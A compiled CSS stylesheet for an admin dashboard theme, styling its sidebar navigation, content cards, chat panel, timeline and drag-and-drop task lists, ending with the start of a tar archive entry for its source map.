  .wrapper .header-top[header-theme="blue"] .top-menu .nav-link, .wrapper .header-top[header-theme="red"] .top-menu .nav-link, .wrapper .header-top[header-theme="orange"] .top-menu .nav-link, .wrapper .header-top[header-theme="green"] .top-menu .nav-link, .wrapper .header-top[header-theme="purple"] .top-menu .nav-link, .wrapper .header-top[header-theme="dark"] .top-menu .nav-link {
    color: #ffffff;
    background-color: transparent; }
  .wrapper .header-top[header-theme="blue"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="red"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="orange"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="green"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="purple"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="dark"] .top-menu .header-search .input-group .input-group-addon {
    color: #ffffff; }
.wrapper .page-wrap {
  position: relative; }
  .wrapper .page-wrap .app-sidebar {
    position: fixed;
    left: 0;
    top: 0;
    width: 240px;
    height: 100vh;
    background-color: #ffffff;
    z-index: 1040;
    -webkit-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1);
    -moz-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1);
    box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1);
    -moz-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    -o-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    -webkit-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    -moz-transform: translate3d(0, 0, 0);
    -o-transform: translate3d(0, 0, 0);
    -ms-transform: translate3d(0, 0, 0);
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    white-space: nowrap;
    visibility: visible; }
    .wrapper .page-wrap .app-sidebar .sidebar-header {
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
      -webkit-align-items: center;
      -moz-align-items: center;
      -ms-align-items: center;
      align-items: center;
      -webkit-justify-content: space-between;
      -moz-justify-content: space-between;
      -ms-justify-content: space-between;
      justify-content: space-between;
      -ms-flex-pack: space-between;
      padding: 13px 15px;
      height: 60px; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand {
        display: block;
        font-size: 22px;
        font-weight: 700;
        color: #212529; }
        .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img {
          display: inline-block;
          width: 30px; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle {
        border: none;
        background-color: transparent;
        color: #ffffff;
        font-size: 20px;
        -webkit-box-shadow: none;
        -moz-box-shadow: none;
        box-shadow: none; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon {
        border: none; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close {
        display: none;
        border: none;
        background-color: transparent;
        color: #ffffff;
        font-size: 20px;
        -webkit-box-shadow: none;
        -moz-box-shadow: none;
        box-shadow: none; }
        @media only screen and (max-width: 1023px) {
          .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close {
            display: inline-block; } }
      @media only screen and (max-width: 1023px) {
        .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle {
          display: none; } }
    .wrapper .page-wrap .app-sidebar .sidebar-content {
      position: relative;
      height: -webkit-calc(100vh - 60px);
      height: -moz-calc(100vh - 60px);
      height: calc(100vh - 60px);
      overflow: auto;
      z-index: 4; }
      .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item {
        position: relative; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a {
          display: block;
          overflow: hidden;
          padding: 15px 5px;
          margin-left: 15px;
          margin-right: 15px;
          color: #545454;
          position: relative; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i {
            font-size: 20px;
            margin-right: 10px;
            display: inline-block;
            vertical-align: -4px; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span {
            font-size: 13px; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge {
            position: absolute;
            right: 30px;
            text-align: center;
            top: 16px;
            vertical-align: middle;
            white-space: nowrap;
            opacity: 1;
            visibility: visible;
            border-radius: 4px;
            font-size: 75%;
            padding: 4px 7px;
            margin-right: 5px;
            font-weight: 800;
            color: #fff;
            -webkit-transition: opacity 0.3s linear;
            transition: opacity 0.3s linear;
            text-transform: uppercase; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled {
            opacity: 0.5;
            cursor: not-allowed !important; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before {
          content: "\e844";
          font-family: "iconkit";
          position: absolute;
          right: 3px;
          top: 15px;
          -moz-transform: rotate(0deg);
          -o-transform: rotate(0deg);
          -ms-transform: rotate(0deg);
          -webkit-transform: rotate(0deg);
          transform: rotate(0deg);
          -moz-transition: all 0.2s ease-in-out;
          -o-transition: all 0.2s ease-in-out;
          -webkit-transition: all 0.2s ease-in-out;
          transition: all 0.2s ease-in-out; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content {
          background-color: #f3f3f3; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item {
            padding: 10px 5px;
            font-size: 13px;
            padding-left: 50px;
            margin: 0; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before {
              display: none; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active {
              color: #eb525d; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after {
            display: none; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a {
            position: relative; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before {
              content: "\e844";
              font-family: "iconkit";
              position: absolute;
              right: 20px;
              top: 10px;
              display: inline-block;
              -moz-transform: rotate(0deg);
              -o-transform: rotate(0deg);
              -ms-transform: rotate(0deg);
              -webkit-transform: rotate(0deg);
              transform: rotate(0deg);
              -moz-transition: all 0.2s ease-in-out;
              -o-transition: all 0.2s ease-in-out;
              -webkit-transition: all 0.2s ease-in-out;
              transition: all 0.2s ease-in-out; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item {
            padding-left: 70px; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before {
              display: none; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before {
            -moz-transform: rotate(90deg);
            -o-transform: rotate(90deg);
            -ms-transform: rotate(90deg);
            -webkit-transform: rotate(90deg);
            transform: rotate(90deg); }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content {
          display: none; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before {
          -moz-transform: rotate(90deg);
          -o-transform: rotate(90deg);
          -ms-transform: rotate(90deg);
          -webkit-transform: rotate(90deg);
          transform: rotate(90deg); }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after {
          background: #576a3d;
          border-radius: 10px;
          color: #fff;
          content: " ";
          height: 30px;
          left: 0;
          position: absolute;
          top: 10px;
          width: 3px; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after {
          background: #576a3d;
          border-radius: 10px;
          color: #fff;
          content: " ";
          height: 30px;
          left: 0;
          top: 10px;
          position: absolute;
          width: 3px; }
      .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel {
        font-size: 14px;
        font-weight: 400;
        opacity: 1;
        padding: 8px 20px 8px;
        text-transform: capitalize;
        visibility: visible;
        width: 100%;
        color: #999;
        background: #333e52; }
    .wrapper .page-wrap .app-sidebar.colored .sidebar-header {
      background-color: #272d36; }
      .wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand {
        color: #ffffff; }
    .wrapper .page-wrap .app-sidebar.colored .sidebar-content {
      background-color: #404E67; }
      .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item {
        border-color: rgba(243, 243, 243, 0.15); }
        .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a {
          color: #ffffff; }
          .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i {
            color: #bcc8d8; }
        .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content {
          background-color: #4a5872; }
        .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after, .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after {
          background-color: #eb525d; }
    .wrapper .page-wrap .app-sidebar.hide-sidebar {
      -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      -moz-transform: translate3d(-100%, 0, 0);
      -o-transform: translate3d(-100%, 0, 0);
      -ms-transform: translate3d(-100%, 0, 0);
      -webkit-transform: translate3d(-100%, 0, 0);
      transform: translate3d(-100%, 0, 0); }
    @media only screen and (max-width: 1023px) {
      .wrapper .page-wrap .app-sidebar {
        -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
        -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
        -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
        transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); } }
  .wrapper .page-wrap .main-content {
    padding: 30px 0;
    background-color: #F6F7FB;
    min-height: calc(100vh - 120px);
    margin-top: 60px;
    padding-right: 15px;
    padding-left: 255px;
    -moz-transition: all 0.3s ease;
    -o-transition: all 0.3s ease;
    -webkit-transition: all 0.3s ease;
    transition: all 0.3s ease; }
    @media only screen and (max-width: 1023px) {
      .wrapper .page-wrap .main-content {
        padding-left: 0;
        padding-right: 0; } }
    .wrapper .page-wrap .main-content .page-header {
      margin-bottom: 30px; }
      .wrapper .page-wrap .main-content .page-header .page-header-title i {
        float: left;
        width: 40px;
        height: 40px;
        border-radius: 5px;
        margin-right: 20px;
        vertical-align: middle;
        font-size: 22px;
        color: #fff;
        display: inline-flex;
        -webkit-justify-content: center;
        -moz-justify-content: center;
        -ms-justify-content: center;
        justify-content: center;
        -ms-flex-pack: center;
        -webkit-align-items: center;
        -moz-align-items: center;
        -ms-align-items: center;
        align-items: center;
        -webkit-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5);
        -moz-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5);
        box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); }
      .wrapper .page-wrap .main-content .page-header .page-header-title h5 {
        margin-bottom: 0;
        font-weight: 700;
        font-size: 18px; }
        .wrapper .page-wrap .main-content .page-header .page-header-title h5 + span {
          font-size: 13px; }
      .wrapper .page-wrap .main-content .page-header .breadcrumb-container {
        float: right; }
        .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb {
          background-color: transparent;
          margin-bottom: 0;
          float: right; }
          .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a {
            color: #212121; }
    .wrapper .page-wrap .main-content .card .card-body .sub-title {
      font-size: 14px;
      border-bottom: 1px solid rgba(204, 204, 204, 0.35);
      padding-bottom: 10px;
      margin-bottom: 20px;
      color: #2c3e50; }
    .wrapper .page-wrap .main-content .card .card-body code {
      background-color: #eee;
      margin: 5px;
      display: inline-block;
      padding: 1px 6px;
      border-radius: 3px;
      -webkit-border-radius: 3px;
      -moz-border-radius: 3px; }
    .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item {
      padding: 13px 20px;
      border: 1px solid #ededed;
      position: relative;
      border-left: 0;
      border-right: 0;
      height: 50px;
      overflow: hidden;
      -moz-transition: transform 0.2s ease-in-out;
      -o-transition: transform 0.2s ease-in-out;
      -webkit-transition: transform 0.2s ease-in-out;
      transition: transform 0.2s ease-in-out; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner {
        display: -webkit-box;
        display: -moz-box;
        display: -ms-flexbox;
        display: -webkit-flex;
        display: flex;
        -webkit-justify-content: flex-start;
        -moz-justify-content: flex-start;
        -ms-justify-content: flex-start;
        justify-content: flex-start;
        -ms-flex-pack: flex-start;
        position: relative; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control {
          margin: 0;
          margin-top: -2px; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title {
          width: 100%;
          display: block; }
          .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a {
            color: #3e5569;
            font-weight: 600;
            display: block;
            width: 100%;
            white-space: nowrap;
            text-overflow: ellipsis;
            overflow: hidden;
            width: calc(100% - 50px); }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions {
          position: absolute;
          right: 0px;
          top: 50%;
          opacity: 0;
          display: none;
          z-index: 3;
          padding-left: 10px;
          -moz-transform: translateY(-50%);
          -o-transform: translateY(-50%);
          -ms-transform: translateY(-50%);
          -webkit-transform: translateY(-50%);
          transform: translateY(-50%); }
          .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a {
            width: 30px;
            height: 30px;
            padding: 0;
            border-radius: 50%;
            text-align: center;
            line-height: 32px;
            color: #999;
            display: inline-block; }
            .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus {
              background-color: #dee2e6;
              color: #333; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap {
        margin-top: 5px;
        opacity: 0; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p {
          margin: 0; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus {
        background-color: #f9f9f9; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions {
          opacity: 1;
          display: block; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened {
        height: auto;
        background-color: #ffffff;
        border: none;
        z-index: 5;
        -webkit-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1);
        -moz-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1);
        box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1);
        -moz-transform: scale(1.01);
        -o-transform: scale(1.01);
        -ms-transform: scale(1.01);
        -webkit-transform: scale(1.01);
        transform: scale(1.01); }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a {
          font-size: 16px;
          color: #263238; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap {
          opacity: 1; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item + .list-item {
        margin-top: -1px; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child {
        border-bottom: none; }
  .wrapper .page-wrap .footer {
    background: #ffffff;
    padding: 20px 30px;
    border-top: 1px solid rgba(0, 0, 0, 0.04);
    font-size: calc(0.875rem - 0.05rem);
    -moz-transition: all 0.25s ease;
    -o-transition: all 0.25s ease;
    -webkit-transition: all 0.25s ease;
    transition: all 0.25s ease; }
    @media only screen and (min-width: 1024px) {
      .wrapper .page-wrap .footer {
        padding-left: 270px; } }
  .wrapper .page-wrap .right-sidebar {
    position: fixed;
    top: 60px;
    right: 0;
    width: 240px;
    background: #fff;
    height: calc(100vh - 60px);
    border-left: 1px solid #eef1f2;
    border-top: 1px solid #eef1f2;
    padding: 1.07143em;
    z-index: 9;
    -moz-transform: translateX(100%);
    -o-transform: translateX(100%);
    -ms-transform: translateX(100%);
    -webkit-transform: translateX(100%);
    transform: translateX(100%);
    -moz-transition: all 0.25s ease;
    -o-transition: all 0.25s ease;
    -webkit-transition: all 0.25s ease;
    transition: all 0.25s ease; }
    .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6 {
      color: #353c4e; }
    .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group {
      position: relative; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control {
        padding-right: 30px;
        border-radius: 50px;
        -webkit-border-radius: 50px;
        -moz-border-radius: 50px;
        padding-left: 15px; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i {
        position: absolute;
        top: 8px;
        right: 10px;
        font-size: 16px;
        color: #bbb; }
    .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group {
      margin-left: -1.07143em;
      margin-right: -1.07143em; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item {
        background: none;
        border: 0;
        border-top: 1px solid #eef1f2;
        padding: 1em 1.07143em;
        overflow: hidden;
        color: #999;
        display: -webkit-box;
        display: -moz-box;
        display: -ms-flexbox;
        display: -webkit-flex;
        display: flex;
        -webkit-align-items: center;
        -moz-align-items: center;
        -ms-align-items: center;
        align-items: center; }
        .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure {
          margin: 0;
          position: relative;
          margin-right: 10px; }
          .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img {
            width: 40px;
            height: 40px; }
        .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span {
          line-height: 1em;
          display: -webkit-box;
          display: -moz-box;
          display: -ms-flexbox;
          display: -webkit-flex;
          display: flex;
          -webkit-justify-content: end;
          -moz-justify-content: end;
          -ms-justify-content: end;
          justify-content: end;
          -ms-flex-pack: end;
          -webkit-flex-direction: column;
          -moz-flex-direction: column;
          -ms-flex-direction: column;
          flex-direction: column; }
          .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name {
            font-size: 14px;
            color: #444;
            margin-bottom: 5px; }
      .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after {
        position: absolute;
        top: calc(50% + 15px);
        left: 0;
        -moz-transform: translateY(-50%);
        -o-transform: translateY(-50%);
        -ms-transform: translateY(-50%);
        -webkit-transform: translateY(-50%);
        transform: translateY(-50%); }
  .wrapper .page-wrap .chat-panel {
    position: fixed;
    top: calc(100vh);
    right: calc( 240px + 15px);
    width: 310px;
    z-index: 9999;
    -moz-transform: translateY(-100%) translateX(14.0625rem);
    -o-transform: translateY(-100%) translateX(14.0625rem);
    -ms-transform: translateY(-100%) translateX(14.0625rem);
    -webkit-transform: translateY(-100%) translateX(14.0625rem);
    transform: translateY(-100%) translateX(14.0625rem); }
    .wrapper .page-wrap .chat-panel .card {
      border: none;
      margin-bottom: 1.42857em;
      border-radius: 10px;
      -webkit-border-radius: 10px;
      -moz-border-radius: 10px;
      -webkit-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2);
      -moz-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2);
      box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); }
      .wrapper .page-wrap .chat-panel .card .card-header {
        background: none;
        padding: 1.07143em 1.42857em;
        font-size: 1.14286em;
        border-bottom: 1px solid rgba(153, 153, 153, 0.2); }
      .wrapper .page-wrap .chat-panel .card .card-body {
        padding: 1.07143em; }
        .wrapper .page-wrap .chat-panel .card .card-body .messages {
          position: relative;
          max-height: 21.42857em;
          overflow-y: scroll;
          margin-top: -1.07143em;
          margin-right: -1.07143em;
          margin-left: -1.07143em;
          padding-top: 1.07143em;
          padding-right: 1.07143em;
          padding-left: 1.07143em; }
          .wrapper .page-wrap .chat-panel .card .card-body .messages .message {
            margin: 0.71429em 0; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child {
              margin-top: 0; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure {
              -webkit-box-ordinal-group: 3;
              -ms-flex-order: 2;
              margin: 0;
              position: relative;
              order: 2; }
              .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img {
                width: 30px;
                height: 30px; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body {
              margin-top: .5em;
              display: -webkit-inline-box;
              display: -ms-inline-flexbox;
              display: inline-flex;
              -webkit-box-orient: vertical;
              -webkit-box-direction: normal;
              -ms-flex-direction: column;
              flex-direction: column;
              -webkit-box-align: end;
              -ms-flex-align: end;
              align-items: flex-end;
              margin: auto 1.5em;
              -webkit-box-ordinal-group: 2;
              -ms-flex-order: 1;
              order: 1; }
              .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p {
                background: #404E67;
                border: 1px solid #404E67;
                border-radius: 3px;
                padding: .5em 1em;
                color: #fff;
                margin-bottom: .5em;
                position: relative; }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before {
                  content: "";
                  height: 0;
                  width: 0;
                  display: block;
                  position: absolute;
                  top: 1.25rem;
                  right: -7px;
                  left: auto;
                  border-style: solid;
                  border-width: 6px 0 7px 6px;
                  border-color: transparent transparent transparent #404E67;
                  -moz-transform: translateY(-50%);
                  -o-transform: translateY(-50%);
                  -ms-transform: translateY(-50%);
                  -webkit-transform: translateY(-50%);
                  transform: translateY(-50%); }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before {
                  right: -7px;
                  border-left-color: #404E67; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure {
              -webkit-box-ordinal-group: 2;
              -ms-flex-order: 1;
              order: 1; }
            .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body {
              -webkit-box-align: start;
              -ms-flex-align: start;
              align-items: flex-start;
              -webkit-box-ordinal-group: 3;
              -ms-flex-order: 2;
              order: 2; }
              .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p {
                background: #fff;
                border: 1px solid #eef1f2;
                border-radius: 0;
                border-top-right-radius: 3px;
                border-bottom-right-radius: 3px;
                border-radius: 3px;
                color: #666; }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before {
                  content: "";
                  height: 0;
                  width: 0;
                  display: block;
                  position: absolute;
                  right: auto;
                  left: -7px;
                  border-style: solid;
                  border-width: 6px 7px 6px 0;
                  border-color: transparent #fff transparent transparent;
                  -moz-transform: translateY(-50%);
                  -o-transform: translateY(-50%);
                  -ms-transform: translateY(-50%);
                  -webkit-transform: translateY(-50%);
                  transform: translateY(-50%); }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before {
                  left: -9px;
                  border-right-color: #eef1f2; }
                .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after {
                  content: "";
                  height: 0;
                  width: 0;
                  display: block;
                  position: absolute;
                  right: auto;
                  left: -7px;
                  border-style: solid;
                  border-width: 6px 7px 6px 0;
                  border-color: transparent #fff transparent transparent;
                  -moz-transform: translateY(-50%);
                  -o-transform: translateY(-50%);
                  -ms-transform: translateY(-50%);
                  -webkit-transform: translateY(-50%);
                  transform: translateY(-50%); }
      .wrapper .page-wrap .chat-panel .card .card-footer {
        background: none;
        padding: 1.07143em 1.42857em;
        border-top: 1px solid rgba(153, 153, 153, 0.2); }
        .wrapper .page-wrap .chat-panel .card .card-footer .list-icon {
          font-size: 1.125rem; }
        .wrapper .page-wrap .chat-panel .card .card-footer textarea {
          box-shadow: none;
          resize: none;
          padding: 0;
          width: 100%;
          min-height: auto;
          padding: 5px 0; }
.wrapper.nav-collapsed .header-top {
  padding-left: 60px; }
.wrapper.nav-collapsed .page-wrap .app-sidebar {
  width: 60px; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before {
    display: none; }
  .wrapper.nav-collapsed .page-wrap .app-sidebar:hover {
    width: 240px; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text {
      display: inline-block; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel {
      display: block; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span {
      display: inline-block; }
    .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before {
      display: inline-block; }
.wrapper.nav-collapsed .page-wrap .main-content {
  padding-left: 75px; }
.wrapper.nav-collapsed .page-wrap .footer {
  padding-left: 90px; }
.wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle {
  display: none; }
.wrapper.right-sidebar-expand .right-sidebar {
  -moz-transform: translateX(0);
  -o-transform: translateX(0);
  -ms-transform: translateX(0);
  -webkit-transform: translateX(0);
  transform: translateX(0); }
.wrapper.right-sidebar-expand .chat-panel {
  -moz-transform: translateY(-100%) translateX(0);
  -o-transform: translateY(-100%) translateX(0);
  -ms-transform: translateY(-100%) translateX(0);
  -webkit-transform: translateY(-100%) translateX(0);
  transform: translateY(-100%) translateX(0); }

hr {
  box-sizing: content-box;
  height: 0;
  margin-top: 1rem;
  border: 0;
  border-top: 1px solid rgba(0, 0, 0, 0.1); }

.profiletimeline {
  position: relative;
  padding-left: 40px;
  margin: 40px 10px 0 30px;
  border-left: 1px solid rgba(0, 0, 0, 0.1); }
  .profiletimeline .sl-item {
    margin-top: 8px;
    margin-bottom: 30px; }
    .profiletimeline .sl-item .sl-left {
      float: left;
      margin-left: -60px;
      z-index: 1;
      margin-right: 15px; }
      .profiletimeline .sl-item .sl-left img {
        max-width: 40px; }
    .profiletimeline .sl-item .sl-right .sl-date {
      font-size: 12px;
      color: #afb5c1; }

.dd-handle {
  background: #f7f7f7;
  border-radius: 3px;
  padding: 20px;
  position: relative;
  display: block;
  text-decoration: none;
  margin: 5px 0;
  overflow: hidden; }
  .dd-handle p {
    margin: 0; }
  .dd-handle:after, .dd-handle::after {
    content: '';
    width: 5px;
    height: 100%;
    position: absolute;
    top: 0;
    left: 0; }

.dd-list {
  margin: 0;
  padding: 0;
  list-style: none; }
  .dd-list .dd-placeholder, .dd-list .dd-empty {
    margin: 5px 0;
    padding: 0;
    min-height: 30px;
    background: #f2fbff;
    border: 1px dashed #b6bcbf;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px; }
  .dd-list .dd-list {
    padding-left: 30px; }

.dd-dragel {
  position: absolute;
  pointer-events: none;
  z-index: 9999; }
  .dd-dragel .dd-handle {
    -webkit-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1);
    -ms-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1);
    box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); }

.todo-task .dd-handle:after, .todo-task .dd-handle::after {
  background-color: #f5365c; }

.progress-task .dd-handle:after, .progress-task .dd-handle::after {
  background-color: #F7CA18; }

.completed-task .dd-handle:after, .completed-task .dd-handle::after {
  background-color: #26C281; }

[class*="user--"]::after {
  height: 0.64286em;
  width: 0.64286em;
  display: block;
  position: absolute;
  top: 0;
  right: 10%;
  border-radius: 100px;
  content: "";
  -webkit-box-shadow: 0 0 0 2px #fff;
  box-shadow: 0 0 0 2px #fff; }

.user--online:after {
  background: #06d6a0; }

.user--busy:after {
  background: #ff3333; }

.user--offline:after {
  background: #bbb; }

/*# sourceMappingURL=theme.css.map */
css/theme.min.css.map000064400000274561151676702570010545 0ustar00{
"version": 3,
